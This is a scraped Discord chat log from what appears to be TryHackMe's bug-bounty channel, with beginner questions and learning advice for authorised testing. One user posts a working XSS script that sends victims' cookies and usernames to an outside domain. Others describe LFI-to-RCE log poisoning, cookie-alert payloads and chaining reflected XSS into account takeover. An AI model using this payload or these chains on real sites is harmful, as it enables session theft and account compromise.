Learn about TryHackMe's Bug Bounty Programme!

From TryHackMe with ❤!
sturdy cradle
#

!docs free-path

marsh falconBOT
still jasper
broken wedge
#

.

marsh falconBOT
neon merlin
#

Can anyone take me in their team

#

I know more than basics of the bug bounty looking for a team to improve my skills

neon merlin
#

!docs student

marsh falconBOT
orchid gyro
#

Is there any room for bug bounty in tryhackme

#

?

still jasper
cerulean timber
#

Apparently TryHackMe has an admin portal at <admin.tryhackme.com> wonder if anyone's ever had a look at it for the bug bounty

tiny basin
tight bridge
#

it's where I found the key to #advanced-advanced-general

still jasper
brave hare
#

!docs levels

marsh falconBOT
past hatch
magic summit
#

can somebody please tell me how i can buy a Sub...it says your card does not support

twilit girder
#

Hey guys can anyone help me with an LFI on windows ?

#

I'm hunting for a bug and I can read files from the Windows server like :

C:\Windows\System32\drivers\etc\hosts

#

But how can use this to exploit further ?

past hatch
twilit girder
#

Any ideas where they are stored ?

#

Like in linux it's ~/.ssh/id_rsa

#

Can't seem to query %Appdata%

vocal folio
fallen palm
fervent coral
fallen palm
fallen palm
quartz cipher
# twilit girder Hey guys can anyone help me with an LFI on windows ?

Use php wrappers (if the backend is php) in order to read backend php source code, from there you can find database creds.

Or if you are lucky enough then you can access the apache or any other service log and then try to inject any arbitrary code in user controlled input such as User-Agent, or any header

You can google it, that how to escalate lfi to rce using log poisoning

wispy kraken
#

hi guys

still jasper
#

Hey

wispy kraken
#

i want help in bugbounty

still jasper
wispy kraken
#

start a new journey in this field

still jasper
#

I recommend checking out TryHackMe.com webpath and Portswigger academy

wispy kraken
#

ohk

#

thank you 😇

spark acorn
marsh falconBOT
spark acorn
#

!docs levels

marsh falconBOT
true tulip
#

!docs verify

river night
#

!docs bug-bounty

marsh falconBOT
past hatch
#

Those who r using bot commands here hope they read channel name correctly KEKWLUL

river night
#

My apologize ... but seems that there might be some problem with the Site's Certificate - keep getting this error: "Did Not Connect: Potential Security Issue"

fallen palm
#

hi

#

what skills need for bug bounty ??

#

Where to start ؟؟

pale plover
fallen palm
#

thanks

pale plover
#

It's good even if you forget the fourth point 😄

random frigate
#

Is there an easy way to fuzz parameters in a file containing URLs? So, if you have a text file with URLs containing parameters, is there an easy way to use that file to fuzz every parameter for each URL in that file?

native token
#

Not too sure if there’s a tool that does it, but is a great scripting/programming challenge

hybrid orchid
#

Could even do that backgrounded for speed, technically. Not sure how many URLs you're looking at

random frigate
#

Thanks @hybrid orchid! Yeah, so I have been playing with it and figured this out:

sed -r '/^\=/!s/=.*$/=somevalue/g' file-containing-urls.txt

This is working, however, it's only replacing the first = and not all =

uneven galeBOT
#

Gave +1 Rep to @hybrid orchid

random frigate
#

Or, in other words, only the last parameter and not any of the other parameters. Thanks again, @hybrid orchid

random frigate
magic summit
#

is it normal if i can see media of website in admin/uploaded/images ??

#

i can access staff images and resumes

lavish hollow
#

If it’s sensitive data, such as emails, names, age, etc. Then no that’s probably not normal.

burnt sequoia
#

Can any suggest me hw to acces into a website dbs

#

Becuz when i try to use sql on a website it shows xxs protection 1; mode= block

#

N Messed up hw to bypass this

chrome pine
#

Is there any bug bounty team ?

#

i want to join

past lily
#

Hello, can someone please guide me to get into Bug Hunting? Thank you in advance!

past hatch
past lily
uneven galeBOT
#

Gave +1 Rep to @past hatch

magic summit
#

iam trying to deploy owasp juice shop room's machine but it says i have already machine running in this room please terminate it....but there is no option to terminate it...what should i do

remote wadi
#

Guy's anyone here who want to do bug Bounty in collaboration anyone interested

fallen palm
#

@remote wadi a double bug bounty?

remote wadi
#

Together

fallen palm
#

let's go

remote wadi
tacit pollen
#

lets do it

lavish hollow
#

Hey @lament adder let’s keep it English please

knotty timber
#

hey

#

hello

still jasper
#

Hey

knotty timber
#

is there anyone who wants to team up for bug bounty can dm me

trim prairie
#

@knotty timber me I guess 🤔

remote wadi
#

Yeah

neon merlin
#

Yes

distant thorn
#

If anyone is willing can i join .? I'm new to bug bounty and just wanna know the parcs !

#

pracs*

untold scroll
#

Any bug bounty hunters are alive

untold scroll
#

I mean ping me

past hatch
past hatch
untold scroll
#

I know but its a repeated question ppl may get bored

#

😦

past hatch
untold scroll
#

Can you please show me one of your work. so that i can understand just for clarity

#

How it's look like

past hatch
untold scroll
#

Ohhkk

#

Thank you so much

#

I am preparing a mindmap, can anyone help me with this

past hatch
untold scroll
#

Ok

fallen palm
#

i need to learn to code

still jasper
normal crescent
feral bronze
#

Is anyone willing to teach a guy with a basic knowledge of webapp pentesting about bug hunting?
Ps: that guy is me.

past hatch
past hatch
feral bronze
#

Thank You @past hatch. I am already onto it. And completing rooms in it for the past 50 days.

uneven galeBOT
#

Gave +1 Rep to @past hatch

fallen palm
#

also verify your acc

#

!docs verify

marsh falconBOT
fallen palm
#

click that link

vocal folio
last elm
#

Hi chat
I found algolia App_Secret_Key , App_ID, App_Index_name and some other configuration leaked on GitHub repo ( the repo belongs to dev works on the company)
Should I report it?

past hatch
vale thistle
native token
#

Big vouch for that platform

last elm
#

Well app_secret_key is something here,see is there any more sensitive info u can get which shouldnt be available and if u do find it then submit the report.
@past hatch Thx man
I found Algolia API key and I submit it

uneven galeBOT
#

Gave +1 Rep to @past hatch

past hatch
last elm
#

Still no respond from the triage team
Just I am waiting

#

Also I checked the Keyhacks repo I found the Algolia API key with the exploit
So I reported it and now I am waiting

past hatch
last elm
#

Well first response totally depends on that pragram.For some it may be 24hr ,for some even 3days.
@past hatch yeah I know hope it triaged soon and be valid one 💥

hybrid orchid
#

-clean 100 633772744483274793

rancid rampart
#

clean 100 633772744483274793

hybrid orchid
#

Worth a shot 🤷‍♂️

soft ermine
#

I found a site (that I'm a user of) that sends password resets in plain text via email. Seems like that's a bad idea....

willow sun
#

hi

hybrid orchid
# willow sun hi

Love new members though we do, you don't have to say that in every chat :)

floral cobalt
#

hello

#

anyone know how i can get into bug bounty like where to start and what tools and how to use them

native token
#

bug bounty is mainly web app testing, so focus on learning and understanding the owasp top 10 (https://owasp.org/www-project-top-ten/), portswigger academy (https://portswigger.net/web-security) has some really good labs for learning this, though assumes you have burp pro. This can be circumvented by using ZAP I believe.
I'd also strongly recommend you check out the OWASP Web Security Testing Guide (https://owasp.org/www-project-web-security-testing-guide/). Though this is more aimed at web application pentesting, it holds some real treasures to improve on bug bounty.

Once you have an understanding of those check out hackerone hacktivity as they have a massive amount of disclosed bugs that people found in the wild and is an incredible resource to learn. They also have a CTF platform with some really great and realistic challenges

TLDR breakdown for those who may see this after you:

Tools:

  • Burp Suite Community / Pro (Don't sweat if you don't have pro)
  • FFUF/ Any fuzzing tool (This can be used to fuzz for extensions for loose files on a server)
  • Zap (If not using burp)

Practice Sites:

Closing out, don't go into bug bounty expecting instant results! It takes an insane amount of time to get your first bounty but it will eventually happen. Go into it to learn and I promise you'll learn more than some CTFs

floral cobalt
#

@native token thank you, ill look at them as soon as possible

uneven galeBOT
#

Gave +1 Rep to @native token

low crest
native token
#

Will create a more indepth post as there's a bunch I could add to that post as well

low coyote
#

I was pentesting a website and i noticed something, changing the host header to for ex: bing.com, reflects in the source code of the website... In base hrf and in many other lines too... But it does not seem to redirect to bing... Any idea what can i do??

#

I tried adding some other headers too... But it gives an error

dry sparrow
#

hZJhSwEIb/Ssn3NW1XpwvbYG4VBiqGmyTmrtO56/32jmZXxQC/PED9tVw/O7WI6 does anyone know waht kind of encryption is this?

#

like, it has multiple slashes in it, I see it often in some websites

native token
#

the host header is telling burp where to fire at

#

so if you're accessing

/testdirectory
host: google.com
#

if you change host it will change the host

#

I'd probably guess going off of what you've put that changing the host header isn't really gunna do much in this instance unless you can get some sort of injection vuln going e.g xss

#

But even then it's only a self-xss unless it persists in some sort of logs

past hatch
low coyote
#

I see, thanks for the information @past hatch @native token ...i think i know what i need to do

uneven galeBOT
#

Gave +1 Rep to @past hatch

karmic blaze
#

How to start bug bounty

Anyone can please tell me. I am new in this field

still jasper
#

There are some great resources in the pins and if you scroll up a bit you will see Optional mentioned a good way to get into them

low crest
twilit girder
#

Hey guys, any ideas on how to escalate an open Redirect ?

#

I tried javascript://alert(1) to pop an xss

#

But didn't work

#

Any ideas ?

#

It's a Django website though

native token
#

You could try xss via data:// tags

#

a lot of open redirects tend to be different from each other depending on the implementation, so it's best to fiddle around and see if you can find any variation that may work for your case

fallen palm
#

How to find the ip address of the google meeting in which we are connected

native token
#

@prime cipher ^ was spammed across multiple channels

fallen palm
#

Hello guys, I'm a newbie leaner. Trying to figure out how things work in bug bounty. I have a question, i was trying to find xss in a site. I achieved to pop up an alert on the screen. But i happened when i edited the "response of the request in burp suite". I guess this is not a xss vulnerability. Is there anything can evaluate as a security leak ? Is it possible to create a risk just editing the response of requests ?

pale plover
#

If you are editing responses you get from the website, it's not an issue with the website.

past hatch
fallen palm
#

@past hatch Thank you for the answer.

uneven galeBOT
#

Gave +1 Rep to @past hatch

fallen palm
#

And u got all IP of Google try it

fallen palm
#

Anyone a real bug bounty hunter that would like to take me under their wing? Warning - i will be asking you the most basic fundamentals that might be the most annoying to you. Thank you in advance. Appreciate this much

still jasper
#

The basic fundamentals can be found with research, also bug bounty can be competitive can be hard to find a mentor that will take you under their wing

fallen palm
#

Worth a shot

#

Thank u

still jasper
#

I mean there may be someone but I think a lot will say learn by yourself, there's a great site that's realistic that's made by one of the THM staff Adamtlangley

fallen palm
#

I see what you're saying

native token
fallen palm
#

Oh man ! that 's awesome !!!

native token
#

That site is probably the best place to learn the types of vulns you'll find

fallen palm
#

Optional i actually emailed tzeano before and they aren't accepting anymore members 😦

native token
#

Meant to be reopening soon™️

fallen palm
#

Thank uu

native token
#

One thing you'll need to work on though is understanding the basics before you consider bug bounty.

native token
fallen palm
#

Okay let's get this show on the road XD

native token
#

You'd be hard pushed considering that's a source code review program

fallen palm
#

Okay next program 😅 🤩

#

Ah much easier one that isn't about coders lol

native token
#

Have you done any of the hacker101 CTF yet?

fallen palm
#

Just THM

native token
#

https://ctf.hacker101.com/

Hacker101 CTF

The Hacker101 CTF is a game designed to let you learn to hack in a safe, rewarding environment. Hacker101 is a free educational site for hackers, run by HackerOne.

fallen palm
#

I did get started on the cv2 ones

native token
#

You can do challenges on here that are based on realistic vulns and gain private invites every 26 points

fallen palm
native token
#

Note that if you receive a private invite and you don't like the look of the scope, you can skip it 3 times as long as you remember to fill out the questionnaire that they attach to the skip button

fallen palm
#

I was planning to stick with hacker1 at first but then i thought it was a bit too hard and saw that THM was a much better platform for learning but I also really like hacker1.

native token
#

THM is a much better way into it

fallen palm
native token
#

going from 0 knowledge straight into bounty is a sure way to never find a bug 😂

#

Invites also only go out once a day. That being 8am GMT roughly

fallen palm
native token
#

Yup pretty much

fallen palm
#

No freaking way!!!!!

native token
#

the most common bugs you'll find during bug bounty are OWASP top 10

fallen palm
#

THAT IS AMAZNG

native token
#

Though they won't be as easy to find as the ones in those boxes

fallen palm
native token
fallen palm
#

that's why i'm finishing up the 'Complete Begginers Path'. i was gonna go into Hack The Box next but i think Hacker1 is my next bet.

native token
#

Don't write off any platform

fallen palm
native token
#

H1 is in a different league to THM/HTB

#

it isn't a CTF

fallen palm
#

Ohhh that makes complete sense .

native token
#

The main problem a lot of people have when going from THM/HTB is they go into a platform thinking it's got a vuln

fallen palm
#

I see

native token
#

which is a blessing and a curse, as on one hand you'll look at things from every possible angle until you find something. But if you don't find something it can be brutal on mental health and just cause you to doubt yourself

fallen palm
#

Just like John Hammond said...it's more of a way to go and lift weights 🤪

#

see how much you can lift lol

#

as oppose to hacker1 is the real big boy

native token
#

There's an insane difference between prod systems that have had pentests and ctf boxes that's for sure

#

mainly as you're playing a treasure hunt with the pentesting team in the hope they missed something

fallen palm
#

Well just the fact that you said that i can start to apply what i've learned from THM OWASP rooms and similar sort gives me so much hope

#

But i get what you're saying,, i can't write any platforms off and learn everywhere i can

#

I'm excited already XDD

native token
#

Exactly, going off of experience. as a beginner/middle ground user, you'll always learn more from thm/htb as they are designed to teach

fallen palm
#

shits crazy man

fallen palm
native token
#

bb is kinda that place you go when you decide you hate yourself and want to suffer for a few hours

fallen palm
#

Ha

#

Send me the invite please

fallen palm
#

do I just read what's in scope and start hackin away ?

#

Obviously do my recon first

#

and OSINT

native token
#

Essentially read and understand the program page so everything

#

then start enumerating

fallen palm
#

ok on it !!!

native token
#

Like exodus asks you to add a your hackerone username to your user agent

fallen palm
#

PS. i have a list of IOU's --- i added your name on it XD

fallen palm
native token
#

mate don't worry about it, I'm always open to helping people get into bounties, though I'm not some bb god like naham or zseano I like to help

#

eseentially you'd have all your web requests running through burp or zap and have an option adding it to the header

fallen palm
native token
#

lemme check I don't think so

fallen palm
#

okay thank u mate lemme do some researching and get in this rabbit hole a bit deeper. 😊

#

Appreciate u

#

+rep @native token

uneven galeBOT
#

Gave +1 Rep to @native token

native token
#

@fallen palm You'll wanna have a rule like this

unknown.png
#

Here's what it should look like inside the ruleset, note it won't work unless you set Regex match

unknown.png
fallen palm
#

Ohhhhhh is that so hackerone and graphql can log your ip and username to know who is sending requesting etc.???

native token
#

oh no I was just on the hackerone website so reloaded the page to show how the match/replace rule would take effect

#

What I'd imagine is exodus have some sort of logging that checks user-agents to determine whether they are actually being attacked or if it's a bounty researcher

fallen palm
#

I basically have to read out User-Agent: h1 - roki

native token
#

Yea

#

so go into Proxy -> options -> scroll down to match and replace

#

click on add

#

Then you want these settings

# 
Type: Request header
Match: ^User-Agent.*$
Replace: User-Agent: h1 - <your hackerone username>

[/] Regex match
#

That basically says that every request that goes through burp, will replace the user agent with whatever you specify in replace

#

Like this

unknown.png
#

After you can click ok and check the enable button

fallen palm
#

Mannnn this is so fuxkin awesome !!!! My blood is pumping man XDDD

#

I apprecaite you taking your time for this

#

setting up burp suite now

#

Once i commit to these changes/settings do i need to set back as default or can i jjust leave

native token
#

Once you enable them, you should always have your web traffic going through burp even if you have intercept off. While testing Exodus don't turn off that rule

#

once you're done with exodus you can just uncheck the box under the enable column until you decide to test it again 🙂

fallen palm
#

Thank you grand master optional 🙂

#

Added !

past hatch
past hatch
# fallen palm

Match and replace always helps when looking for CSRF tokens😄

past hatch
fallen palm
#

Ayo Drago

#

I'm on this shit man no lack

still jasper
fallen palm
#

I have one question. How am İ start to bug bounty ?

still jasper
#

Learn web hacking

#

That is the first place to start, there are a bunch of resources in the pins

fallen palm
#

ohhh I got it . Thanks a lot for help (=

native token
fallen palm
lavish hollow
fallen palm
#

Thanks @lavish hollow

uneven galeBOT
#

Gave +1 Rep to @lavish hollow

fallen palm
#

Alright so, I found HTML Injection, but I cannot increase it to LFI. I tried various methods and ways. Spent 3-4 hours. Got nothing. Tried <iframe> and other stuff, but no progress.
Anyone who has some knowledge regarding this?

#

Also, make sure to mention me while answering. Thanks!

native token
#

Html injection rarely becomes lfi unless it’s being rendered by the server and is chained with ssrf.
You’ll want to look at img with event handlers such as onerrror, essentially any html object that has handlers

fallen palm
native token
#

Just do onerror=“alert(document.cookie)”

#

If you’re getting a response, you’ve got xss, alerts with location or cookies tend to be the best and most effective way of getting it to work

fallen palm
#

I was thinking if I could request the .js file hosted on my localhost and that .js would contain some php code, that I want to execute, like phpinfo();I am not sure.

fallen palm
native token
#

That means all cookies are set with httponly or the secure tag

#

Change to document.location

#

Also pulling a js file with php inside wouldn’t work, or at least I’ve never seen that work

fallen palm
native token
#

That’s enough to prove xss on any bug bounty platform

#

Context helps, if it’s stored. What user privileges do you have and can it be triggered by other users and/or higher privilege users

#

If you can cause stored xss via low privilege user that can target a high priv user that’s an instant high

fallen palm
#

It's a reflected one with low privileged user. Also, I can get the admin account just by registering a new account and filling up nothing.

#

This web server is messed up.

native token
#

Ah reflected you’ll be lucky to get low unless you can chain it

#

I’d start looking for stuff like csrf to try and up impact but seeing that they set all cookies in line with best practice, I doubt you’ll be able to hit any sensitive endpoints eg change password

fallen palm
native token
#

You have reflected xss

#

Start looking for ways to chain it to improve impact

#

Is it reflected via url, if so that’s better

fallen palm
#

Yea, via URL.

native token
#

If it’s reflected via an input field, that’s self xss and informational

#

Ah that’s good at least

#

Yea start Googling for reflected xss impact etc

#

Try find vulnerabilities you can use to increase impact, for example. You can use reflected xss via url to hit the change password endpoint you get an account takeover which is a high impact. Instead of the poor impact from reflected xss

#

Think of it like a cog to get a bigger vulnerability to work

fallen palm
#

Oh wow, that's a great idea, never thought of it.

#

Thanks for the help @native token

uneven galeBOT
#

Gave +1 Rep to @native token

native token
#

No problem, good luck!

native token
#

Usually filter bypasses like that come down to a lot of trial and error

past hatch
#

I would say xss could be possible,try some payload from portswigger xss cheatsheet,payloadallthings or on twitter #bugbounty xss and understand how app react to those inputed payload and then bypass it.

hybrid chasm
#

hey

#

nvm

# 
document.body.innerHTML += ('<script>
    var toTest = ["user-block__title", "astra-menu-user-username", "PLACE USERNAME CLASS/IDS HERE"];
    document.addEventListener("DOMContentLoaded", function(){
        var username = "not found";
        toTest.forEach((item) => {
            var test = document.getElementById(item);
            if(test == null)
                test = document.getElementsByClassName(item);
            if(test != null)
            {
                username = test;
            }
        })

        document.body.innerHTML += ("<img src=https://.your domain/kkk?xssCookies=" + escape(document.cookie) + "&xssUsername=" + username + "/>");

        window.location.href = "/";
    });
</script>')

and wrap it inside

<noscript>
    <p title="</noscript><img src=x onerror='put it here'>">132</p>
</noscript>

So, in your server you will get data like this: https://imgur.com/a/gIfwuHA

This is just a script I made yesterday to report a bug to the website owner, otherwise they would have said there is nothing you can do with XSS

#

@fallen palm

#

also, you can't get the data back from the server

#

because of CORS

#

you can bypass it tho with the img tag, then read the IMG info

fallen palm
#

Thanks for the info!

hybrid chasm
#

Hello, I am doing a bug bounty on another website.
I managed to get the real IP behind Cloudfare.
But, Doing the same request on the real IP results in a 404,

#

when logging in on the website, it goes to a "staging-domain.com", basically, its a non live version of their site I am guessing?

spare cairn
#

Hey , I was going through a VDP ( basically this program won't you anything ) in H1 , it only has 7 resolved reports ... Anyone up for collab ?

#

Also , is this vulnerable to subdomain takeover ?

ontour.PNG
#

Also , I got another http://b2run.xyz.com/ ( Same domain as the first one )
Which shows exactly the same thing
Unfortunately we do not know this domain. If it belongs to you, you can connect the domain to your Uberspace as described in the wiki .

fallen palm
#

Hi. Are Thm Amazon s3 buckets in scope?

#

İn tryhackme bug bounty program

lavish hollow
#

Don't think so

#

!docs bug-bounty

marsh falconBOT
lavish hollow
past hatch
spare cairn
fallen palm
#

Are you sure ? Dont in scope

lavish hollow
#

You wouldn't know that if you weren't messing with it smhhh

#

The bug bounty programme clearly states what's in-scope

#

If it's not, leave it

fallen palm
#

Ok vulnerable team. :))

lavish hollow
#

wut

native token
#

ayo no need to be like that @fallen palm. That's the type of attitude that gives bug hunters a shitty name

spare cairn
#

Does amazon s3 bucket have any other url ?

fallen palm
vocal folio
#

Surely you should have checked the scope first, to make sure you weren't breaking the law?

fallen palm
#

thanks

native token
#

and in any instance bug bounty is always limited by scope, regardless of the platform

fallen palm
#

thanks for all I will consider

lyric barn
#

Hey friends

#

After completing port swiggers labs what should my next step...for bug bounty

#

Hunting

fallen palm
past hatch
fallen palm
lyric barn
#

@fallen palm yesterday i enrolled web hacking fundamental an

#

And @past hatch dude i have enrolled complete bargainer and web hacking path on THM

#

Should i study web hacker101 book for report writing

#

?

low crest
past hatch
fallen palm
#

you'll learn common vulnerabilities

lyric barn
#

Oh... Thanks dude....

fallen palm
#

a

low crest
steep quarry
#

|_dns-recursion: Recursion appers to be enabled

#

I get this from dns server scan , Can i exploit it?

soft river
uneven galeBOT
#

Gave +1 Rep to @past hatch

native token
#

Ima fire a question.
You find user enumeration on a site due to it not validating whether an authenticity token has been used or not. What do you do?

soft ermine
fallen palm
past hatch
lean trail
#

hay guys